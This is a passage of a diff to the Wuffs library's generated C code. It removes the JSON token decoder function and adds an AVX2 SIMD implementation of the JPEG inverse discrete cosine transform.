WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func json.decoder.decode_tokens ++// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 ++// -------- func jpeg.decoder.decode_idct_x86_avx2 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_json__decoder__decode_tokens( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_vminor = 0; +- uint32_t v_number_length = 0; +- uint32_t v_number_status = 0; +- uint32_t v_string_length = 0; +- uint32_t v_whitespace_length = 0; +- uint32_t v_depth = 0; +- uint32_t v_stack_byte = 0; +- uint32_t v_stack_bit = 0; +- uint32_t v_match = 0; +- uint32_t v_c4 = 0; +- uint8_t v_c = 0; +- uint8_t v_backslash = 0; +- uint8_t v_char = 0; +- uint8_t v_class = 0; +- uint32_t v_multi_byte_utf8 = 0; +- uint8_t v_backslash_x_ok = 0; +- uint8_t v_backslash_x_value = 0; +- uint32_t v_backslash_x_string = 0; +- uint8_t v_uni4_ok = 0; +- uint64_t v_uni4_string = 0; +- uint32_t v_uni4_value = 0; +- uint32_t v_uni4_high_surrogate = 0; +- uint8_t v_uni8_ok = 0; +- uint64_t v_uni8_string = 0; +- uint32_t v_uni8_value = 0; +- uint32_t v_expect = 0; +- uint32_t v_expect_after_value = 0; +- +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct_x86_avx2( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q) { ++ __m256i v_k_0000 = {0}; ++ __m256i v_k_8080 = {0}; ++ __m256i v_k_0000_0002 = {0}; ++ __m256i v_k_0001_FFFF = {0}; ++ __m256i v_k_0400_0000 = {0}; ++ __m256i v_k_29CF_1151_D630_1151 = {0}; ++ __m256i v_k_E333_133E_ADFD_1051 = {0}; ++ __m256i v_k_E6DC_25A1_1925_25A1 = {0}; ++ __m256i v_k_ECC1_E333_EFB0_ADFD = {0}; ++ __m128i v_az_coeffs = {0}; ++ __m256i v_az_ah00 = {0}; ++ __m256i v_az_ad00 = {0}; ++ __m256i v_az_eh00 = {0}; ++ __m256i v_az_adeh = {0}; ++ __m256i v_rows01 = {0}; ++ __m256i v_rows23 = {0}; ++ __m256i v_rows45 = {0}; ++ __m256i v_rows67 = {0}; ++ __m256i v_quants01 = {0}; ++ __m256i v_quants23 = {0}; ++ __m256i v_quants45 = {0}; ++ __m256i v_quants67 = {0}; ++ __m256i v_rows04 = {0}; ++ __m256i v_rows31 = {0}; ++ __m256i v_rows26 = {0}; ++ __m256i v_rows75 = {0}; ++ __m256i v_fp_rows62 = {0}; ++ __m256i v_fp_bq2662ad = {0}; ++ __m256i v_fp_bq2662eh = {0}; ++ __m256i v_fp_cb26ad = {0}; ++ __m256i v_fp_cb26eh = {0}; ++ __m256i v_fp_rows40pos = {0}; ++ __m256i v_fp_rows04neg = {0}; ++ __m256i v_fp_rows0pm4 = {0}; ++ __m256i v_fp_ccpmad = {0}; ++ __m256i v_fp_ccpmeh = {0}; ++ __m256i v_fp_cd01ad = {0}; ++ __m256i v_fp_cd01eh = {0}; ++ __m256i v_fp_cd32ad = {0}; ++ __m256i v_fp_cd32eh = {0}; ++ __m256i v_fp_sums7351 = {0}; ++ __m256i v_fp_sums5173 = {0}; ++ __m256i v_fp_ci73515173ad = {0}; ++ __m256i v_fp_ci73515173eh = {0}; ++ __m256i v_fp_cl7351ad = {0}; ++ __m256i v_fp_cl7351eh = {0}; ++ __m256i v_fp_rows13 = {0}; ++ __m256i v_fp_bq7153ad = {0}; ++ __m256i v_fp_bq7153eh = {0}; ++ __m256i v_fp_ck75ad = {0}; ++ __m256i v_fp_ck75eh = {0}; ++ __m256i v_fp_cl5173ad = {0}; ++ __m256i v_fp_cl5173eh = {0}; ++ __m256i v_fp_ck13ad = {0}; ++ __m256i v_fp_ck13eh = {0}; ++ __m256i v_intermediate01ad = {0}; ++ __m256i v_intermediate01eh = {0}; ++ __m256i v_intermediate01 = {0}; ++ __m256i v_intermediate32ad = {0}; ++ __m256i v_intermediate32eh = {0}; ++ __m256i v_intermediate32 = {0}; ++ __m256i v_intermediate45ad = {0}; ++ __m256i v_intermediate45eh = {0}; ++ __m256i v_intermediate45 = {0}; ++ __m256i v_intermediate76ad = {0}; ++ __m256i v_intermediate76eh = {0}; ++ __m256i v_intermediate76 = {0}; ++ __m256i v_ita0a1e0e1 = {0}; ++ __m256i v_ita2a3e2e3 = {0}; ++ __m256i v_ita4a5e4e5 = {0}; ++ __m256i v_ita6a7e6e7 = {0}; ++ __m256i v_ita0c0e0g0 = {0}; ++ __m256i v_ita1c1e1g1 = {0}; ++ __m256i v_ita4c4e4g4 = {0}; ++ __m256i v_ita5c5e5g5 = {0}; ++ __m256i v_ita0b0e0f0 = {0}; ++ __m256i v_ita4b4e4f4 = {0}; ++ __m256i v_itc0d0g0h0 = {0}; ++ __m256i v_itc4d4g4h4 = {0}; ++ __m256i v_intermediateae = {0}; ++ __m256i v_intermediatebf = {0}; ++ __m256i v_intermediatecg = {0}; ++ __m256i v_intermediatedh = {0}; ++ __m256i v_intermediatedb = {0}; ++ __m256i v_intermediatehf = {0}; ++ __m256i v_sp_cols62 = {0}; ++ __m256i v_sp_bq2662ad = {0}; ++ __m256i v_sp_bq2662eh = {0}; ++ __m256i v_sp_rb26ad = {0}; ++ __m256i v_sp_rb26eh = {0}; ++ __m256i v_sp_cols40pos = {0}; ++ __m256i v_sp_cols04neg = {0}; ++ __m256i v_sp_cols0pm4 = {0}; ++ __m256i v_sp_rcpmad = {0}; ++ __m256i v_sp_rcpmeh = {0}; ++ __m256i v_sp_rd01ad = {0}; ++ __m256i v_sp_rd01eh = {0}; ++ __m256i v_sp_rd32ad = {0}; ++ __m256i v_sp_rd32eh = {0}; ++ __m256i v_sp_sums7351 = {0}; ++ __m256i v_sp_sums5173 = {0}; ++ __m256i v_sp_ri73515173ad = {0}; ++ __m256i v_sp_ri73515173eh = {0}; ++ __m256i v_sp_rl7351ad = {0}; ++ __m256i v_sp_rl7351eh = {0}; ++ __m256i v_sp_cols13 = {0}; ++ __m256i v_sp_bq7153ad = {0}; ++ __m256i v_sp_bq7153eh = {0}; ++ __m256i v_sp_rk75ad = {0}; ++ __m256i v_sp_rk75eh = {0}; ++ __m256i v_sp_rl5173ad = {0}; ++ __m256i v_sp_rl5173eh = {0}; ++ __m256i v_sp_rk13ad = {0}; ++ __m256i v_sp_rk13eh = {0}; ++ __m256i v_final01ad = {0}; ++ __m256i v_final01eh = {0}; ++ __m256i v_final01 = {0}; ++ __m256i v_final32ad = {0}; ++ __m256i v_final32eh = {0}; ++ __m256i v_final32 = {0}; ++ __m256i v_final45ad = {0}; ++ __m256i v_final45eh = {0}; ++ __m256i v_final45 = {0}; ++ __m256i v_final76ad = {0}; ++ __m256i v_final76eh = {0}; ++ __m256i v_final76 = {0}; ++ __m256i v_fta0a1e0e1 = {0}; ++ __m256i v_fta2a3e2e3 = {0}; ++ __m256i v_fta4a5e4e5 = {0}; ++ __m256i v_fta6a7e6e7 = {0}; ++ __m256i v_fta0c0e0g0 = {0}; ++ __m256i v_fta1c1e1g1 = {0}; ++ __m256i v_fta4c4e4g4 = {0}; ++ __m256i v_fta5c5e5g5 = {0}; ++ __m256i v_fta0b0e0f0 = {0}; ++ __m256i v_ftc0d0g0h0 = {0}; ++ __m256i v_fta4b4e4f4 = {0}; ++ __m256i v_ftc4d4g4h4 = {0}; ++ __m256i v_finalae = {0}; ++ __m256i v_finalbf = {0}; ++ __m256i v_finalcg = {0}; ++ __m256i v_finaldh = {0}; ++ __m256i v_final0145 = {0}; ++ __m256i v_final2367 = {0}; ++ uint64_t v_final0 = 0; ++ uint64_t v_final1 = 0; ++ uint64_t v_final2 = 0; ++ uint64_t v_final3 = 0; ++ uint64_t v_final4 = 0; ++ uint64_t v_final5 = 0; ++ uint64_t v_final6 = 0; ++ uint64_t v_final7 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; + +- uint32_t coro_susp_point = self->private_impl.p_decode_tokens[0]; +- if (coro_susp_point) { +- v_depth = self->private_data.s_decode_tokens[0].v_depth; +- v_expect = self->private_data.s_decode_tokens[0].v_expect; +- v_expect_after_value = self->private_data.s_decode_tokens[0].v_expect_after_value; ++ if (8u > a_dst_stride) { ++ return wuffs_base__make_empty_struct(); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_end_of_data) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (self->private_impl.f_quirks[18u]) { +- if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u] || self->private_impl.f_quirks[17u]) { +- status = wuffs_base__make_status(wuffs_json__error__bad_quirk_combination); +- goto exit; ++ v_k_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u)); ++ v_k_8080 = _mm256_set_epi16((int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u)); ++ v_k_0000_0002 = _mm256_set_epi16((int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u)); ++ v_k_0001_FFFF = _mm256_set_epi16((int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u)); ++ v_k_0400_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u)); ++ v_k_29CF_1151_D630_1151 = _mm256_set_epi16((int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u)); ++ v_k_E333_133E_ADFD_1051 = _mm256_set_epi16((int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u)); ++ v_k_E6DC_25A1_1925_25A1 = _mm256_set_epi16((int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u)); ++ v_k_ECC1_E333_EFB0_ADFD = _mm256_set_epi16((int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u)); ++ do { ++ if (0u == (wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)) | wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)))) { ++ v_az_coeffs = _mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 24u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 40u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 56u))); ++ if (0u == ((uint64_t)(_mm_cvtsi128_si64(_mm_packs_epi16(v_az_coeffs, v_az_coeffs))))) { ++ v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); ++ v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); ++ v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); ++ v_az_ah00 = _mm256_slli_epi16(v_rows01, (int32_t)(2u)); ++ v_az_ad00 = _mm256_unpacklo_epi16(v_az_ah00, v_az_ah00); ++ v_az_eh00 = _mm256_unpackhi_epi16(v_az_ah00, v_az_ah00); ++ v_az_adeh = _mm256_inserti128_si256(v_az_ad00, _mm256_castsi256_si128(v_az_eh00), (int32_t)(1u)); ++ v_intermediateae = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(0u)); ++ v_intermediatebf = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(85u)); ++ v_intermediatecg = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(170u)); ++ v_intermediatedh = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(255u)); ++ break; + } + } +- if (self->private_impl.f_quirks[15u] || self->private_impl.f_quirks[16u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_json__decoder__decode_leading(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } ++ v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); ++ v_rows23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)); ++ v_rows45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u)); ++ v_rows67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u)); ++ v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); ++ v_quants23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 16u)); ++ v_quants45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 32u)); ++ v_quants67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 48u)); ++ v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); ++ v_rows23 = _mm256_mullo_epi16(v_rows23, v_quants23); ++ v_rows45 = _mm256_mullo_epi16(v_rows45, v_quants45); ++ v_rows67 = _mm256_mullo_epi16(v_rows67, v_quants67); ++ v_rows04 = _mm256_permute2x128_si256(v_rows01, v_rows45, (int32_t)(32u)); ++ v_rows31 = _mm256_permute2x128_si256(v_rows23, v_rows01, (int32_t)(49u)); ++ v_rows26 = _mm256_permute2x128_si256(v_rows23, v_rows67, (int32_t)(32u)); ++ v_rows75 = _mm256_permute2x128_si256(v_rows67, v_rows45, (int32_t)(49u)); ++ v_fp_rows62 = _mm256_permute2x128_si256(v_rows26, v_rows26, (int32_t)(1u)); ++ v_fp_bq2662ad = _mm256_unpacklo_epi16(v_rows26, v_fp_rows62); ++ v_fp_bq2662eh = _mm256_unpackhi_epi16(v_rows26, v_fp_rows62); ++ v_fp_cb26ad = _mm256_madd_epi16(v_fp_bq2662ad, v_k_29CF_1151_D630_1151); ++ v_fp_cb26eh = _mm256_madd_epi16(v_fp_bq2662eh, v_k_29CF_1151_D630_1151); ++ v_fp_rows40pos = _mm256_permute2x128_si256(v_rows04, v_rows04, (int32_t)(1u)); ++ v_fp_rows04neg = _mm256_sign_epi16(v_rows04, v_k_0001_FFFF); ++ v_fp_rows0pm4 = _mm256_add_epi16(v_fp_rows40pos, v_fp_rows04neg); ++ v_fp_ccpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); ++ v_fp_ccpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); ++ v_fp_cd01ad = _mm256_add_epi32(v_fp_ccpmad, v_fp_cb26ad); ++ v_fp_cd01eh = _mm256_add_epi32(v_fp_ccpmeh, v_fp_cb26eh); ++ v_fp_cd32ad = _mm256_sub_epi32(v_fp_ccpmad, v_fp_cb26ad); ++ v_fp_cd32eh = _mm256_sub_epi32(v_fp_ccpmeh, v_fp_cb26eh); ++ v_fp_sums7351 = _mm256_add_epi16(v_rows75, v_rows31); ++ v_fp_sums5173 = _mm256_permute2x128_si256(v_fp_sums7351, v_fp_sums7351, (int32_t)(1u)); ++ v_fp_ci73515173ad = _mm256_unpacklo_epi16(v_fp_sums7351, v_fp_sums5173); ++ v_fp_ci73515173eh = _mm256_unpackhi_epi16(v_fp_sums7351, v_fp_sums5173); ++ v_fp_cl7351ad = _mm256_madd_epi16(v_fp_ci73515173ad, v_k_E6DC_25A1_1925_25A1); ++ v_fp_cl7351eh = _mm256_madd_epi16(v_fp_ci73515173eh, v_k_E6DC_25A1_1925_25A1); ++ v_fp_rows13 = _mm256_permute2x128_si256(v_rows31, v_rows31, (int32_t)(1u)); ++ v_fp_bq7153ad = _mm256_unpacklo_epi16(v_rows75, v_fp_rows13); ++ v_fp_bq7153eh = _mm256_unpackhi_epi16(v_rows75, v_fp_rows13); ++ v_fp_ck75ad = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351ad); ++ v_fp_ck75eh = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351eh); ++ v_fp_cl5173ad = _mm256_permute2x128_si256(v_fp_cl7351ad, v_fp_cl7351ad, (int32_t)(1u)); ++ v_fp_cl5173eh = _mm256_permute2x128_si256(v_fp_cl7351eh, v_fp_cl7351eh, (int32_t)(1u)); ++ v_fp_ck13ad = _mm256_add_epi32(v_fp_cl5173ad, _mm256_madd_epi16(v_fp_bq7153ad, v_k_E333_133E_ADFD_1051)); ++ v_fp_ck13eh = _mm256_add_epi32(v_fp_cl5173eh, _mm256_madd_epi16(v_fp_bq7153eh, v_k_E333_133E_ADFD_1051)); ++ v_intermediate01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate01 = _mm256_packs_epi32(v_intermediate01ad, v_intermediate01eh); ++ v_intermediate32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate32 = _mm256_packs_epi32(v_intermediate32ad, v_intermediate32eh); ++ v_intermediate45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate45 = _mm256_packs_epi32(v_intermediate45ad, v_intermediate45eh); ++ v_intermediate76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); ++ v_intermediate76 = _mm256_packs_epi32(v_intermediate76ad, v_intermediate76eh); ++ v_ita0a1e0e1 = _mm256_permute4x64_epi64(v_intermediate01, (int32_t)(216u)); ++ v_ita2a3e2e3 = _mm256_permute4x64_epi64(v_intermediate32, (int32_t)(114u)); ++ v_ita4a5e4e5 = _mm256_permute4x64_epi64(v_intermediate45, (int32_t)(216u)); ++ v_ita6a7e6e7 = _mm256_permute4x64_epi64(v_intermediate76, (int32_t)(114u)); ++ v_ita0c0e0g0 = _mm256_unpacklo_epi16(v_ita0a1e0e1, v_ita2a3e2e3); ++ v_ita1c1e1g1 = _mm256_unpackhi_epi16(v_ita0a1e0e1, v_ita2a3e2e3); ++ v_ita4c4e4g4 = _mm256_unpacklo_epi16(v_ita4a5e4e5, v_ita6a7e6e7); ++ v_ita5c5e5g5 = _mm256_unpackhi_epi16(v_ita4a5e4e5, v_ita6a7e6e7); ++ v_ita0b0e0f0 = _mm256_unpacklo_epi16(v_ita0c0e0g0, v_ita1c1e1g1); ++ v_itc0d0g0h0 = _mm256_unpackhi_epi16(v_ita0c0e0g0, v_ita1c1e1g1); ++ v_ita4b4e4f4 = _mm256_unpacklo_epi16(v_ita4c4e4g4, v_ita5c5e5g5); ++ v_itc4d4g4h4 = _mm256_unpackhi_epi16(v_ita4c4e4g4, v_ita5c5e5g5); ++ v_intermediateae = _mm256_unpacklo_epi64(v_ita0b0e0f0, v_ita4b4e4f4); ++ v_intermediatebf = _mm256_unpackhi_epi64(v_ita0b0e0f0, v_ita4b4e4f4); ++ v_intermediatecg = _mm256_unpacklo_epi64(v_itc0d0g0h0, v_itc4d4g4h4); ++ v_intermediatedh = _mm256_unpackhi_epi64(v_itc0d0g0h0, v_itc4d4g4h4); ++ } while (0); ++ v_intermediatedb = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(32u)); ++ v_intermediatehf = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(49u)); ++ v_sp_cols62 = _mm256_permute2x128_si256(v_intermediatecg, v_intermediatecg, (int32_t)(1u)); ++ v_sp_bq2662ad = _mm256_unpacklo_epi16(v_intermediatecg, v_sp_cols62); ++ v_sp_bq2662eh = _mm256_unpackhi_epi16(v_intermediatecg, v_sp_cols62); ++ v_sp_rb26ad = _mm256_madd_epi16(v_sp_bq2662ad, v_k_29CF_1151_D630_1151); ++ v_sp_rb26eh = _mm256_madd_epi16(v_sp_bq2662eh, v_k_29CF_1151_D630_1151); ++ v_sp_cols40pos = _mm256_permute2x128_si256(v_intermediateae, v_intermediateae, (int32_t)(1u)); ++ v_sp_cols04neg = _mm256_sign_epi16(v_intermediateae, v_k_0001_FFFF); ++ v_sp_cols0pm4 = _mm256_add_epi16(v_sp_cols40pos, v_sp_cols04neg); ++ v_sp_rcpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); ++ v_sp_rcpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); ++ v_sp_rd01ad = _mm256_add_epi32(v_sp_rcpmad, v_sp_rb26ad); ++ v_sp_rd01eh = _mm256_add_epi32(v_sp_rcpmeh, v_sp_rb26eh); ++ v_sp_rd32ad = _mm256_sub_epi32(v_sp_rcpmad, v_sp_rb26ad); ++ v_sp_rd32eh = _mm256_sub_epi32(v_sp_rcpmeh, v_sp_rb26eh); ++ v_sp_sums7351 = _mm256_add_epi16(v_intermediatehf, v_intermediatedb); ++ v_sp_sums5173 = _mm256_permute2x128_si256(v_sp_sums7351, v_sp_sums7351, (int32_t)(1u)); ++ v_sp_ri73515173ad = _mm256_unpacklo_epi16(v_sp_sums7351, v_sp_sums5173); ++ v_sp_ri73515173eh = _mm256_unpackhi_epi16(v_sp_sums7351, v_sp_sums5173); ++ v_sp_rl7351ad = _mm256_madd_epi16(v_sp_ri73515173ad, v_k_E6DC_25A1_1925_25A1); ++ v_sp_rl7351eh = _mm256_madd_epi16(v_sp_ri73515173eh, v_k_E6DC_25A1_1925_25A1); ++ v_sp_cols13 = _mm256_permute2x128_si256(v_intermediatedb, v_intermediatedb, (int32_t)(1u)); ++ v_sp_bq7153ad = _mm256_unpacklo_epi16(v_intermediatehf, v_sp_cols13); ++ v_sp_bq7153eh = _mm256_unpackhi_epi16(v_intermediatehf, v_sp_cols13); ++ v_sp_rk75ad = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351ad); ++ v_sp_rk75eh = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351eh); ++ v_sp_rl5173ad = _mm256_permute2x128_si256(v_sp_rl7351ad, v_sp_rl7351ad, (int32_t)(1u)); ++ v_sp_rl5173eh = _mm256_permute2x128_si256(v_sp_rl7351eh, v_sp_rl7351eh, (int32_t)(1u)); ++ v_sp_rk13ad = _mm256_add_epi32(v_sp_rl5173ad, _mm256_madd_epi16(v_sp_bq7153ad, v_k_E333_133E_ADFD_1051)); ++ v_sp_rk13eh = _mm256_add_epi32(v_sp_rl5173eh, 